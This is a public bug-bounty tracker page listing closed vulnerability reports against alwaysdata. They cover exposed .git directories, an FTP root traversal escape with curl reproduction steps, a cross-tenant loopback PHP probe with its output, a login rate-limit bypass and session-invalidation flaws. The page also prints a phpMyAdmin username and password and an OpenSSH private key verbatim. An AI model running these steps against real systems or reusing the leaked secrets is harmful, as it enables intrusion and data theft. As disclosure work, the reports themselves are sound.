alwaysdata Security vulnerabilities: Tasklist

This is the security vulnerability reporting site for alwaysdata. Please make sure you read our bug bounty program before registering and creating a new task to submit a vulnerability you've discovered.

Once processed, the reports are public. Any private information can be transmitted via a support ticket on our administration interface.

Advanced

Miscellaneous Search in comments Search details Search for all words Tasks I watch Tasks not blocking other tasks Tasks blocking other tasks Blocker or nonblocker, selecting both filter options doesn't make sense. Has attachment Hide SubTasks

Task Properties

Status

Users Opened by Assigned To Closed by

Dates

Changed from to

Opened from to

Closed from to

Summary

Status

Date closed

~~Git Configuration Exposure~~

Closed

27.03.2024

Task Description

Vulnerability Git Configuration Exposure

Severity Level Critical

Vulnerable Domain:
https://upload.alwaysdata.com/.git/config

1. Executive Summary: The Git Configuration Exposure vulnerability poses a significant threat to web applications, allowing unauthorized access to sensitive source code repositories. Through the discovery of exposed .git/ directories, attackers can leverage this information to extract the complete source code of a website. This breach can result in the unauthorized disclosure of sensitive information, including proprietary code, configuration files, and other critical assets. This executive summary outlines the discovery, impact, and recommended mitigation strategies for this vulnerability.

2. Overview The vulnerability arises when an attacker identifies the presence of a .git/config directory. This discovery provides a direct route to the Git repository of a web application. By employing specialized tools such as those available in Kali Linux, an attacker can download the entire source code of the website, gaining access to proprietary code, scripts, and configuration files. The consequences of this exposure extend beyond the compromise of intellectual property to potential security risks and the unauthorized retrieval of sensitive information.

3. Vulnerability Discovery The vulnerability is discovered through directory research, where the presence of a .git/config directory is identified. Attempts to access this directory reveal the underlying Git repository, providing a pathway for unauthorized individuals to exploit the exposed version control system.

4. Impact Unauthorized Access to Source Code: Attackers can download the complete source code of the website, enabling the extraction of proprietary code, scripts, and configuration files.
Intellectual Property Theft: The compromise of source code poses a significant risk of intellectual property theft, potentially leading to unauthorized use or distribution.
Sensitive Information Exposure: The extracted source code may contain sensitive information, such as API keys, database credentials, and other critical data, compromising the overall security of the web application.

5. Mitigation Strategies

Git Configuration Hardening: Implement strict access controls and configure Git repositories to restrict access to authorized personnel only.
Directory Listing Prevention: Disable directory listing to prevent the exposure of .git directories during web server configuration.
Git Repository Hosting Security: If using third-party Git repository hosting services, ensure proper access controls are in place, and sensitive information is not exposed.

6. Steps To Reproduce:

1- Visit this URL = https://upload.alwaysdata.com/.git/config 2- You can see the Config file.
3- Using the gitdumper tool, in which I was able to dump the whole .git directory.
4- Boom!! I have access to the whole source code of the application.
4- Command
–> ./git_dumper.py https://upload.alwaysdata.com/.git/ your/any/directory/of/kali

Important Note: Another thing I'd like to share with you is that I haven't extensively exploited this vulnerability. Otherwise, I could have easily downloaded the entire website's source code, which often contains many and many sensitive information.

Proof of concept As you can see that I am able to access the entire source code. Now, if I put the output command to my command, I can download the whole source code.

~~100~~

~~Full Privilege Access to phpMyAdmin on alwaysdata.com~~

Closed

15.11.2024

Task Description

Overview:
While conducting research on alwaysdata.com, I discovered sensitive credentials publicly exposed on a Telegram channel. These credentials provided direct access to alwaysdata’s phpMyAdmin instance, exposing database management functionalities that could lead to unauthorized data access, modification, or deletion. This issue represents a serious security risk, as it could enable malicious actors to compromise databases hosted on alwaysdata.

Steps to Reproduce:
1. Navigate to [https://phpmyadmin.alwaysdata.com/](https://phpmyadmin.alwaysdata.com/).
2. Use the following credentials found on the Telegram channel:

Username: projets_baltic
Password: LouisCelestin004@#

3. Successfully logging in grants full access to phpMyAdmin.

Proof of Concept (PoC):

![PoC](https://imgur.com/NZ33jM2.png)

Impact:
- Unrestricted access to phpMyAdmin allows any user to view, edit, or delete data within the accessible databases.
- Potential exposure of sensitive customer or internal data, which could result in data breaches.
- Elevates the risk of unauthorized database modifications, compromising data integrity and system security.

Remediation Suggestions:
- Immediately change the credentials for the affected phpMyAdmin user accounts and review logs for any unauthorized access.
- Implement IP or role-based access restrictions to phpMyAdmin to prevent unauthorized external access.
- Monitor and periodically audit for publicly shared or leaked credentials, especially on social media and messaging platforms.

Motivation for Reporting:
This report highlights the potential for data compromise on alwaysdata’s phpMyAdmin, as exposed credentials grant full access to manage sensitive databases. Addressing this issue will help alwaysdata protect its customers’ data and maintain the integrity of its hosted environments.

References:
- [OWASP Secure Credential Storage](https://owasp.org/www-project-proactive-controls/v3/en/c8-protect-data-everywhere)
- [NIST Guidelines on Access Control](https://csrc.nist.gov/publications/detail/sp/800-53/rev-5/final)

Please feel free to reach out if additional details or verification are required.

~~479~~

~~FTP Root Directory Allows Chroot Escape and Server File~~ ...

Closed

13.09.2026

Task Description

Summary

The FTP user creation functionality allows an attacker to bypass the configured FTP Root directory restriction by supplying a path containing directory traversal sequences such as ../../.

The FTP configuration page explicitly states:

“Parent directories of the root directory will be neither accessible nor visible.”

However, this restriction can be bypassed because the supplied path is accepted and stored without validating or normalizing traversal sequences.

For example, configuring the FTP root directory as:

../../

results in a stored path similar to:

/home/brake/../../

When the FTP user subsequently connects, the effective root resolves outside the account's home directory, allowing browsing of the server's filesystem, including directories such as /etc, /home, /nfs, /proc, and /tmp.

In my testing, I was also able to retrieve /etc/passwd and upload a file to /tmp.

Steps to Reproduce
1. Obtain a valid authenticated session

Set the required values:

COOKIE='csrftoken=YOUR_CSRF_COOKIE; sessionid=YOUR_SESSIONID'
BASE='https://admin.alwaysdata.com'
HOST='ftp-brake.alwaysdata.net'
PW='SomeStrongPassw0rd!'
2. Obtain a CSRF token
TOKEN=$(curl -s -H "Cookie: $COOKIE" "$BASE/ftp/add/" \

| grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' \
| head -1 | cut -d'"' -f4)

echo "$TOKEN"
3. Create an FTP user using a traversal path

Create an FTP account with ../../ as its root directory:

curl -s -o /dev/null -w "%{http_code}\n" \

H "Cookie: $COOKIE" \
-data-urlencode "csrfmiddlewaretoken=$TOKEN" \
-data-urlencode "name=brake_pwn" \
-data-urlencode "password=$PW" \
-data-urlencode "path=../../" \
-data-urlencode "submit=" \

"$BASE/ftp/add/"

Observed result:

302

The request is accepted without validation or an error.

4. Confirm the traversal path was stored
curl -s -H "Cookie: $COOKIE" "$BASE/ftp/" \

| grep -o '/home/brake/[^<]*'

Observed value:

/home/brake/../../

This indicates that the traversal sequence is stored without being rejected or normalized.

5. Connect to the FTP service
curl -k –ssl-reqd \

"ftps://$HOST/" \
--user "brake_pwn:$PW"

Observed result:

Instead of being restricted to the intended FTP directory, the account can access the server filesystem, including:

/bin
/boot
/dev
/etc
/home
/nfs
/proc
/tmp
… 6. Demonstrate access to a server file

For example:

curl -k –ssl-reqd \

"ftps://$HOST/etc/passwd" \
--user "brake_pwn:$PW" | head -5

Observed result:

The server's /etc/passwd file is returned, exposing the system's local user list.

7. Demonstrate write access outside the account's home directory

I was also able to upload a file to /tmp:

echo "proof" > /tmp/p.txt

curl -k –ssl-reqd \

T /tmp/p.txt \

"ftps://$HOST/tmp/" \

-user "brake_pwn:$PW"

The upload completed successfully (226).

Security Impact

This issue defeats the advertised FTP directory isolation and allows an FTP account to escape its configured root directory.

Depending on filesystem permissions, an attacker may be able to:

Browse directories outside the FTP user's intended home.
Enumerate server filesystem structure.
Read globally accessible files such as /etc/passwd.
Discover internal infrastructure information under directories such as /nfs.
Write files to other globally writable locations such as /tmp.
Potentially obtain additional information about the hosting environment and other accounts.

What the Vulnerability Breaks

The core issue is that the FTP Root directory field is treated as trusted input.

A value such as:

../../

is accepted and stored relative to the account's home directory:

/home/<account>/../../

Without canonicalization and validation, the resulting path escapes the intended FTP root.

The application should ensure that the configured FTP root resolves to a directory within the intended account boundary and reject traversal sequences or absolute paths that escape that boundary.

Recommended Remediation

Validate and canonicalize the configured FTP root before saving it.

At minimum:

Resolve the submitted path to its canonical filesystem path.
Verify that the resolved path remains inside the account's allowed root/home directory.
Reject .. traversal and absolute paths that escape the allowed directory.
Apply the same validation server-side rather than relying only on client-side form validation.
Ideally, enforce the restriction at the FTP service/chroot configuration layer as a defense-in-depth measure.

CVSS 3.1 score I got: https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

~~160~~

~~Found a No Rate limit bypass on login form~~

Closed

25.04.2025

Task Description

Hi Sir,

i am a Security researcher and a full time bug hunter i saw your bug
bounty program so i decided to test some vulnerability and i got No
Rate limiting on login form

here is the brief introduction of my bug please have a look

Severity = 6.5 to 7.5 (Medium to High)

(*) What is No Rate Limiting on the Login Form?

Rate limiting is a security measure that restricts the number of
requests a user can make to a server or system in a defined time
period. It helps mitigate brute force attacks by limiting the number
of login attempts a user can make in a short time frame.

When no rate limiting is applied to a login form, an attacker or
malicious user can send an unlimited number of requests, trying
various combinations of usernames and passwords. This could result in
unauthorized access or application-level denial of service (DDoS)
attacks if abused.

Overview of this Vulnerability During testing of the login functionality, I discovered a rate limiting bypass based on HTTP method manipulation. While the application initially enforced rate limiting when using the PUT method, switching the request method to PUT allowed me to bypass this protection entirely. Using the PUT method, I was able to send over 2,000 login requests without triggering any rate limiting mechanisms such as throttling, CAPTCHA, or account lockout. This confirms that the rate limiting controls are not consistently enforced across different HTTP methods. As a result, the application is exposed to brute force, credential stuffing, and denial-of-service attacks, allowing attackers to automate large-scale login attempts without restriction. Impacts

(1) Brute Force & Credential Stuffing Attacks:

Without rate limiting, attackers can try an unlimited number of
password combinations against the login form. This allows for brute
force or credential stuffing attacks, where an attacker can automate
the process of trying stolen or commonly used passwords for a given
username. With no restrictions on the number of login attempts, it
significantly increases the chances of gaining unauthorized access to
user accounts

(2) Account Takeover (ATO) Risk:

The absence of rate limiting makes it easier for attackers to gain
access to user accounts by attempting multiple password combinations.
Once an attacker successfully cracks a password, they can take over an
account and perform malicious actions, such as stealing sensitive data
or making unauthorized transactions.

(3) Denial of Service (DoS) or Application-Level DDoS:

The lack of rate limiting on the login form means that the server can
be overwhelmed with a high volume of requests. Attackers can flood the
login page with thousands of requests, leading to potential server
downtime or slowdowns. This can prevent legitimate users from
accessing the site, degrading the user experience and disrupting
normal service operations. It can also lead to increased server load
and higher operational costs.

(4) Increased Attack Surface for Automated Tools:

Automated tools like Burp Suite Intruder or Hydra can easily exploit
the lack of rate limiting, allowing attackers to test massive amounts
of login credentials in a short period of time. This increases the
risk of automated attacks, as attackers can use these tools to exploit
the vulnerability without manual intervention.

(5) Loss of Trust and Reputation:

If attackers are able to successfully break into accounts due to the
lack of rate limiting, it can lead to a loss of trust among users. If
users discover that their accounts can be easily compromised, it could
damage the reputation of the service or platform, leading to reduced
user engagement and retention.

Steps to reproduce (1) Navigate to the url https://translate.alwaysdata.com/login/?next=/ (2) Configure Burp Suite or any proxy tool (such as FoxyProxy in
Firefox) to intercept the HTTP request. (3) Attempt to log in with invalid credentials:
Submit a login attempt using incorrect username/password. Intercept this request and send it to Burp Repeater. (4) Send the same request multiple times in Repeater:
Continuously send the POST request.
After a certain number of requests, you’ll observe a 429 Too Many Requests response, confirming that the server has rate limiting in place for POST requests. (5) Modify the request method from POST to PUT in Repeater: Change the HTTP method from POST to PUT (keeping the same endpoint and parameters). Send the modified request and observe the 403 Bad Request response. (6)Send the modified PUT request to Burp Intruder: After modifying the method to PUT, send the request to Burp Intruder to test it with a wordlist.
Load a wordlist (e.g., Word.txt). (7) Send 2,000+ requests: I sent over 2,000 requests with invalid credentials and continued to receive HTTP 403 responses, confirming that rate limiting was bypassed and there were no restrictions for GET requests. (8) Observe Results: The system did not trigger any lockouts, CAPTCHAs, IP blocks, or delays between requests, confirming the absence of rate limiting on the PUT method. Proof of Concept (PoC)

i am providing some videos and screenshot of this vulnerability as proof of concept for this vulnerability

refer this link for all the pocs = https://drive.google.com/file/d/17NAxfE1BfyapBJuy3mCq01b47iBR3zCQ/view

I will be waiting for your reply team

Regards,
Sudo
Security researcher / Bug Hunter

~~310~~

~~Flyspray Security Tracker Full Exposure - 265 Reports,~~ ...

Closed

23.03.2026

Task Description

## Summary

The Flyspray security bug tracker at security.alwaysdata.com publicly exposes 265 vulnerability reports without authentication. The exposed data includes:

1. Full PoC details for reported vulnerabilities (SSRF, OAuth ATO, XSS, etc.)
2. Plaintext credentials (phpMyAdmin: projets_baltic / LouisCelestin004@# in ~~FS#100~~ )
3. 132+ downloadable PoC attachments via sequential ID enumeration
4. Admin-researcher conversations revealing internal infrastructure details
5. Researcher identities (usernames for all 265 reports)
6. .git repository metadata exposing admin email (cbay@alwaysdata.com), 941 source file paths
7. Real-time vulnerability pipeline monitoring via RSS feed

## Severity: Critical (CVSS 9.1)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CWE-200: Exposure of Sensitive Information

## Steps to Reproduce

### 1. Access the task list (no authentication required)
curl -s 'https://security.alwaysdata.com/?do=tasklist&status[]=open&status[]=closed'
Returns all 265 vulnerability reports with titles, assignees, status, and reporter names.

### 2. Read a vulnerability report with plaintext credentials
curl -s 'https://security.alwaysdata.com/task/100'
~~FS#100~~ contains phpMyAdmin credentials: Username projets_baltic, Password LouisCelestin004@#.

### 3. Read a full SSRF PoC with internal IP
curl -s 'https://security.alwaysdata.com/task/307'
~~FS#307~~ contains: complete SSRF exploit chain targeting Roundcube webmail, internal IP 185.31.40.185, GuzzleHttp user-agent, 0-click exploitation via _safe=1 parameter.

### 4. Subscribe to real-time vulnerability feed
curl -s 'https://security.alwaysdata.com/feed.php?feed_type=rss2&project=1'
RSS feed delivers new vulnerability reports as they are submitted — before patches are deployed.

### 5. Download PoC attachments by ID enumeration
curl -s -o poc_screenshot.png 'https://security.alwaysdata.com/?getfile=130'
IDs 1 through 132 are accessible.

### 6. Access .git repository metadata
curl -s 'https://security.alwaysdata.com/.git/config'
curl -s 'https://security.alwaysdata.com/.git/logs/HEAD'
Reveals: remote origin, admin identity (Cyril Bay, cbay@alwaysdata.com), 941 source file paths.

## Attack Scenario

1. Attacker discovers security.alwaysdata.com via subdomain enumeration
2. Browses task list to find OPEN/ASSIGNED bugs (currently 12 assigned = unpatched)
3. Reads ~~FS#307~~ to get a complete SSRF exploit chain with internal IP
4. Downloads all 132 PoC attachments
5. Extracts phpMyAdmin credentials from ~~FS#100~~ 6. Subscribes to RSS feed to monitor new reports in real-time
7. Weaponizes unpatched vulnerabilities during the window between report and fix

## Impact

- Credential exposure: Plaintext database credentials accessible to anyone
- Vulnerability weaponization: Full PoCs for unpatched vulnerabilities
- Intelligence gathering: Internal IPs, server architecture, admin identities
- Persistent monitoring: RSS feed provides real-time vulnerability intelligence

## Additional Findings
- Weak CSP: script-src 'self' 'unsafe-inline' 'unsafe-eval'
- Outdated JS: Prototype.js 1.7 and script.aculo.us 1.9.0 (2010)
- PHP path disclosure in registration errors
- Session cookie missing Secure and SameSite flags
- Flyspray 112 commits behind upstream

## Remediation

1. IMMEDIATE: Restrict access to security.alwaysdata.com — require authentication
2. IMMEDIATE: Block .git directory access at web server level
3. IMMEDIATE: Rotate exposed credentials (audit all 265 tasks)
4. SHORT-TERM: Disable public self-registration
5. SHORT-TERM: Update Flyspray (112 commits behind upstream)
6. MEDIUM-TERM: Implement proper CSP, add Secure/SameSite cookie flags

~~452~~

~~FINDING-5 — Cross-Tenant Loopback (127.0.0.1) Service E~~ ...

Closed

19.08.2026

Task Description

Target: alwaysdata shared web node `http22` (185.31.41.42)
Severity: High
Class: CWE-284 Improper Access Control / tenant isolation failure Status: Verified — re-verified live 2026-08-18, zero false positives

—

## Summary:

On the alwaysdata shared web node `http22`, the loopback interface (`127.0.0.1`) is not isolated between tenants. From any tenant's PHP code using only standard functions (`fsockopen` / `stream_socket_client`, no elevated privileges required), it is possible to reach services listening on the loopback that belong to other customers and to alwaysdata's own internal infrastructure.

Port	Service	Auth	Outcome
—	—	—	—
7020 (bound 0.0.0.0)	Customer `fctv33` — "Partite ITA" Stremio sports addon (Node/Express)	None	Full catalog, live match list, meta, and signed HLS stream tokens readable and generatable
20717	Streamed.pk HLS resolver (another tenant's app)	—	Reachable
8083	alwaysdata PowerDNS API	Basic-auth (realm "PowerDNS")	Reachable from tenant PHP
8080	alwaysdata internal API (X-API-Key)	401 on POST / 404 on GET	Reachable from tenant PHP
53 / 5199 / 8579 / 873 / 2049 / 22 / 111	DNS / misc alwaysdata services	—	Reachable from tenant PHP

The node's public IP (185.31.41.42) is fully firewalled externally so none of these ports are accessible from the internet. The exposure is entirely on-node and cross-tenant — which is precisely the trust boundary that must hold between customers sharing the same node.

—

## Reproduction Steps:

Upload the following self-contained PHP probe to any site hosted on node `http22` and fetch it over HTTP. It uses only the PHP standard library — no extensions, no special configuration.

### Probe Code (PHP):
```php
<?php
function b($port, $path) {

  $s = @fsockopen("127.0.0.1", $port, $e, $es, 3);
  if (!$s) return "closed";
  $req = "GET $path HTTP/1.0\r\nHost: 127.0.0.1\r\nConnection: close\r\n\r\n";
  fwrite($s, $req);
  $r = stream_get_contents($s, 4000);
  fclose($s);
  return $r;

}
echo "– 127.0.0.1:7020 (customer fctv33 Stremio addon)\n";
echo b(7020, "/manifest.json");
echo "\n– 127.0.0.1:7020 /debug/live\n";
echo b(7020, "/debug/live");
echo "\n– 127.0.0.1:8083 (PowerDNS API)\n";
echo b(8083, "/api/v1/servers");
echo "\n– 127.0.0.1:8080 (internal API)\n";
echo b(8080, "/");
?>
```

### Exact Output (2026-08-18, tenant PHP on http22):

```
– 127.0.0.1:7020 (customer fctv33 Stremio addon)
HTTP/1.1 200 OK
{"id":"community.fctv33.sports.test","version":"0.5.8","name":"Partite ITA",
"description":"Partite sportive live","logo":"https://www.fctv33hd.online/favicon.ico",
"resources":["catalog","meta","stream"],"types":["tv"],"idPrefixes":["fctv:"],
"catalogs":[{"type":"tv","id":"partite-ita-live","name":…

– 127.0.0.1:7020 /debug/live
HTTP/1.1 200 OK
{"ok":true,"apiBase":"https://apis-data-defra10.tcdru136ovur.ru","matches":6,
"streamMarkers":6,"sample":[{"id":"fctv:2209841:4","matchId":"2209841",
"sportType":"ST_BASEBALL","title":"Western Wolf Pack vs Southern Stingers",
"league":"AWA Wiffle"},…

– 127.0.0.1:8083 (PowerDNS API)
HTTP/1.0 401 Unauthorized
Content-Security-Policy: default-src 'self'; style-src 'self' 'unsafe-inline'
Www-Authenticate: basic realm="PowerDNS"
<h1>Unauthorized</h1>

– 127.0.0.1:8080 (internal API)
HTTP/1.0 404 Not Found
```

### Signed Token Generation (port 7020):

A `GET /stream/tv/<id>.json` request to port 7020 returns a signed HLS URL in the following form:

```
https://catologo-ita-auto.alwaysdata.net/partite-ita/hls-proxy.m3u8?t=<JWT>&s=<sig>
```

Any co-tenant on the node can generate valid signed stream tokens for another customer's paid content service, replay those signed URLs, or consume that customer's bandwidth and quota — all without any authentication whatsoever.

—

## Impact:

Tenant-to-tenant isolation failure. Any customer's PHP running on a shared node can connect to other customers' loopback-bound services, read private data, and abuse application functionality such as generating signed tokens or consuming rate-limited resources.

alwaysdata infrastructure directly reachable from tenant code. The PowerDNS API on port 8083 and the internal API on port 8080 are both reachable from any tenant. While currently auth-gated, their exposure to arbitrary tenant code violates defense-in-depth and significantly widens the blast radius of any future credential leak or auth bypass on those services.

The external firewall correctly blocks all of this from the internet. The problem is that the same firewall does nothing to stop co-tenants from reaching each other — and that is the exact boundary that shared hosting must enforce.

—

## Ethical Disclosure:

I confirmed the issue by observing that a co-tenant application on the node loopback was serving live data and generating signed stream tokens with no authentication, and that alwaysdata's own PowerDNS and internal API endpoints were reachable from tenant PHP. I fetched only the addon manifest, the live-match list, and a single signed token URL to establish proof of impact, then immediately stopped. I did not consume any victim stream. All observed customer content including match data, stream URLs, and token values has been redacted from the evidence files.

alwaysdata-internal services (8080 / 8083) were probed with unauthenticated GET requests only, receiving 401 and 404 responses respectively. No authentication bypass was attempted.

—

## Recommendations:

Isolate the loopback per tenant. Place each tenant in its own network namespace (or provision a per-tenant loopback / veth pair with NAT) so that `127.0.0.1` inside tenant A's context never routes to tenant B's services or to alwaysdata's internal services.

Move internal services off the shared loopback. Bind the PowerDNS API (8083) and internal API (8080) to a management-only interface — a separate VRF, network namespace, or non-tenant network segment — rather than the shared node loopback.

Do not rely on application-layer authentication as the sole control. Auth on these services is a good second line of defense but is not a substitute for proper network-level isolation at the tenant boundary.

—

## Evidence Files:

File	Contents
—	—
`verify_all_output.txt`	Live re-verification output (ports 7020, 8080, 8083)
`port8080_probe.txt`	First-discovery probe output for port 8080
`tenantapp_7020.txt`	Port 7020 manifest and debug-live responses
`tenantapp_probe3.txt`	`/stream/tv/<id>.json` signed JWT output (token value redacted)
`CHAIN.md`	Full finding chain reference

~~149~~

~~Failure to invalidate sever after password change in We~~ ...

Closed

04.04.2025

Task Description

Failure to invalidate sever after password change in Webdav

Hello Team,

I hope you are doing well. While Researching in your domain I found Failure to invalidate server after password change vulnerability in your domain.

Steps to Reproduce:

1.Go to https://admin.alwaysdata.com/webdav/ and set a password for user and then submit.
2.Then, go to your PC to Connect Webdav Server with your Windows/Linux.
3.Again go tohttps://admin.alwaysdata.com/webdav/ and then change the password and submit it.
4.You can see that server is still validated and files are accessible in your webdav server which is connected with your PC.

Impact
If attacker have gain access in someone Pc, he/she access these files without any error. As server is not destroyed, attacker will be still access these files, cause his server is still active.. Server should be destroyed can take effect immediately when password is changed.

Thank You,

Waleed Anwar

~~124~~

~~Failure to invalidate session after password change~~

Closed

17.02.2025

Task Description

Failure to invalidate session after password change

Hello Team,

I hope you are doing well. While Researching in your domain I found Failure to invalidate session after password change vulnerability in your domain.

Steps to Reproduce:

1.Go to https://admin.alwaysdata.com/mailbox/id/ and set a password and then submit.
2.Then, go to another browser and login into https://webmail.alwaysdata.com/?from_roundcube=1.
3.Again go to https://admin.alwaysdata.com/mailbox/id/ and then change the password and submit it.
4.You can see that session is still login in https://webmail.alwaysdata.com/?from_roundcube=1 and you can make any Changes in https://webmail.alwaysdata.com/?from_roundcube=1.

Impact
If attacker have user password and logged in different places, As other sessions is not destroyed, attacker will be still logged in your account even after changing password, cause his session is still active.. Malicious actor can complete access your account till that session expires! So, your account remains insecure even after the changing of password.

Thank You,

Waleed Anwar

~~223~~

~~Failure to invalidate session after logout from 2nd tab~~

Closed

16.10.2025

Task Description

#Failure to invalidate session after logout from 2nd tab.

Hello Team,

I hope you are doing well. While Researching in your domain I found Failure to invalidate session after logout from 2nd tab vulnerability in your domain. Attacker can view token and any sensitive data.

This Vulnerability found in:
1. admin.alwaysdata.com
2. webmail.alwaysdata.com

#Steps to Reproduce:

1. Login to admin.alwaysdata.com
2. Open another tab and copy the login account URL and paste into 2nd tab.
3. Go to profile option into 1st tab or any other sensitive data page.
4. Logout your account from 2nd tab and then visit to 1st tab, don't refresh that page, so you can see that page is still active and attacker can see victim details or any sensitive data.

Impact:

If a user login their account in café or in a office, Victim open another tab for doing their work and then logout the account in that tab. Victim assume that the account are logged out and victim forget to close the browser but into 1st tab, victim account are still logged in and attacker can view any sensitive data and token or any bank details.

#Note:

I can make a one video for both('admin.alwaysdata.com','webmail.alwaysdata.com')

Thank You,

Waleed Anwar

~~165~~

~~Exposed Private SSH Key in Public GitHub Repository~~

Closed

29.04.2025

Task Description

Hello,

I discovered a private SSH key exposed in a public GitHub repository. This poses a significant security risk, as an attacker could potentially gain unauthorized access to servers or internal systems if the key is still active and not passphrase-protected.

OPEN SSH PRIVATE KEY….

—–BEGIN OPENSSH PRIVATE KEY—– b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACC4LTWO3FUlXJLlxmPXy2enZnARnnqRgZ6+7lzNvwL7OwAAAJBn8JtCZ/Cb
QgAAAAtzc2gtZWQyNTUxOQAAACC4LTWO3FUlXJLlxmPXy2enZnARnnqRgZ6+7lzNvwL7Ow
AAAEC67kacvftsZrOeW19wnOUYHgxqwzb4YYdACf5+MV1tVLgtNY7cVSVckuXGY9fLZ6dm
cBGeepGBnr7uXM2/Avs7AAAABm5vbmFtZQECAwQFBgc=
—–END OPENSSH PRIVATE KEY—–

Also , I have added the location where i found
you can check their….

Location of the leak: https://github.com/Hitch95/MSPR_CLOE855/blob/7a8cecc557eba449c9788ecacdeb88bdd22a9587/README.md?plain=1#L45

Just paste this in browser and scroll down key starts from 150 line number you can check their

Impact:
An attacker can gain direct SSH access to critical systems
It can be used to bypass authentication and remain undetected..

~~344~~

~~Exposed .git directory on security.alwaysdata.com leaks~~ ...

Closed

20.06.2026

Task Description

Title: Exposed .git directory on security.alwaysdata.com leaks full source repository, deployed commit and internal staff email
Severity: Medium
CVSS: 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
Endpoint: https://security.alwaysdata.com/.git/

Summary

The Flyspray bug-tracker deployment served at security.alwaysdata.com exposes its version-control directory at /.git/ over HTTP. The web server returns the raw Git metadata (config, HEAD, the packed index, refs and reflog) instead of denying access to the dotfile directory. Anyone can download the complete repository, reconstruct the exact deployed source tree, read the pinned upstream commit hash for precise version fingerprinting, and recover internal information committed into the repository metadata (the deploying staff member's name and corporate email). Root cause: the document root is the working copy of the Git clone and the server has no rule blocking the .git/ path.

Steps to Reproduce

1. Request the repository config file. It returns the real Git configuration, revealing the directory is a live working clone and naming the upstream project:

  curl -s https://security.alwaysdata.com/.git/config

 Response excerpt:

  [core]
  	repositoryformatversion = 0
  	filemode = true
  	bare = false
  	logallrefupdates = true
  [remote "origin"]
  	fetch = +refs/heads/*:refs/remotes/origin/*
  [branch "master"]
  	remote = origin
  	merge = refs/heads/master

2. Request HEAD and the branch ref to obtain the exact deployed commit hash (precise version fingerprint):

  curl -s https://security.alwaysdata.com/.git/HEAD
  curl -s https://security.alwaysdata.com/.git/refs/heads/master

 Response:

  ref: refs/heads/master
  58bea729f4359a45f69aaba274bb2a931155b427

3. Request the reflog, which discloses the internal staff identity and the deployment timestamp committed into the repository:

  curl -s https://security.alwaysdata.com/.git/logs/HEAD

 Response:

  0000000000000000000000000000000000000000 58bea729f4359a45f69aaba274bb2a931155b427 Cyril Bay <cbay@alwaysdata.com> 1704809861 +0100	clone: from https://github.com/flyspray/flyspray.git

4. Request the Git index to confirm the full tracked file tree is downloadable (102 KB binary index listing every source file in the deployment):

  curl -s -o git_index https://security.alwaysdata.com/.git/index ; wc -c git_index ; strings git_index | head

 Response excerpt:

  102282 git_index
  docs/INSTALL.txt
  includes/password_compat.php
  js/ckeditor/build-config.js
  js/ckeditor/config.js

 Note: from a normal client IP these requests return HTTP 200 with the content shown above. The site's edge firewall blocks IPs it has already flagged for scanning, but a first-time visitor (ordinary browser, fresh IP) reaches /.git/ without challenge, so the exposure is reachable by any attacker.

Impact

The complete .git directory is downloadable by an unauthenticated remote attacker, which allows them to:
- Reconstruct the entire deployed source tree of the security tracker (all PHP, JS and template files) by fetching the index and pack/loose objects.
- Identify the exact deployed commit (58bea729f4359a45f69aaba274bb2a931155b427, cloned 2024-01-09) and therefore the precise Flyspray version, enabling the attacker to map the running code against known Flyspray vulnerabilities (SQL injection, stored XSS and authentication-related CVEs have historically affected Flyspray) and craft targeted exploits with no guesswork. Flyspray's own config secrets (flyspray.conf.php) are not tracked in this repository, but the exact-version disclosure removes the attacker's need to fingerprint and directly aids exploitation of the live tracker.
- Recover internal information embedded in repository metadata, including a developer's full name and corporate email address (cbay@alwaysdata.com), usable for targeted phishing or credential-stuffing against staff.

Remediation

Deny all HTTP access to the .git/ directory at the web-server/proxy layer (for example, return 404 for any path containing /.git in nginx). Better still, do not deploy from a working Git clone: export the application without the .git directory (git archive or a build artifact) so version-control metadata never sits under the document root. Rotate any credentials or tokens that may have appeared in repository history, and review the reflog/objects for any sensitive data committed historically.

~~466~~

~~Exposed .git directory at security.alwaysdata.com (regr~~ ...

Closed

31.08.2026

Task Description

EXPOSED .GIT DIRECTORY AT SECURITY.ALWAYSDATA.COM (REGRESSION OF ~~FS#428~~ )

Target: https://security.alwaysdata.com/.git/ Class: Information Exposure (Sensitive File / Source Code Metadata Disclosure)
Finding type: Regression (previously fixed vulnerability re-introduced)

SUMMARY

The .git directory on security.alwaysdata.com is publicly accessible. Core Git files (config, HEAD, index, packed-refs, refs/heads/master) return HTTP 200 with no authentication. The same issue was reported as ~~FS#428~~ and closed as Fixed on 01.08.2026 by cbay. It is back 28 days later.

Exposed: repository metadata, the full deployment file tree (942 index entries), branch names, and commit hashes. The object store (objects/) returns 404, so the source code itself cannot be fully downloaded.

VULNERABILITY DETAILS

Exposed files (HTTP 200):

/.git/config  ->  Repository config, origin = github.com/flyspray/flyspray.git
/.git/HEAD  ->  ref: refs/heads/master
/.git/index  ->  Valid Git index file (DIRC magic), 942 entries, 102 KB
/.git/packed-refs  ->  40+ branches (including remote branches)
/.git/refs/heads/master  ->  Commit hash a1ffafd65d5662d69e8b0334315b857449e3ea38

Not exposed (HTTP 404):

/.git/objects/<hash>  ->  Object store not accessible
/.git/objects/info/packs  ->  404
/.git/info/refs  ->  404

STEPS TO REPRODUCE

1. Repository config is readable:
   curl -s https://security.alwaysdata.com/.git/config

2. HEAD returns the active branch:
   curl -s https://security.alwaysdata.com/.git/HEAD
   Output: ref: refs/heads/master

3. Index is a genuine git file (first 4 bytes = DIRC):
   curl -s https://security.alwaysdata.com/.git/index | head -c 4
   Output: DIRC

4. packed-refs leaks the branch list:
   curl -s https://security.alwaysdata.com/.git/packed-refs

5. HEAD commit hash:
   curl -s https://security.alwaysdata.com/.git/refs/heads/master

A full runnable PoC script is attached (poc_git_exposure.txt).

IMPACT

1. The deployment file tree is exposed. The Git index lists every file on the server (942 files). An attacker can map the app and knows exactly where to look for more bugs.

2. Repository metadata leaks. Branch names and commit hashes reveal the software version and internal development patterns.

3. The fix did not hold. FS#428 was closed as Fixed on 01.08.2026, but the same issue came back. Most likely the deployment was redone without removing the .git directory from the document root.

RECOMMENDED FIX

1. Block web access to the .git directory at the server level (Apache Directory directive or rewrite rule).
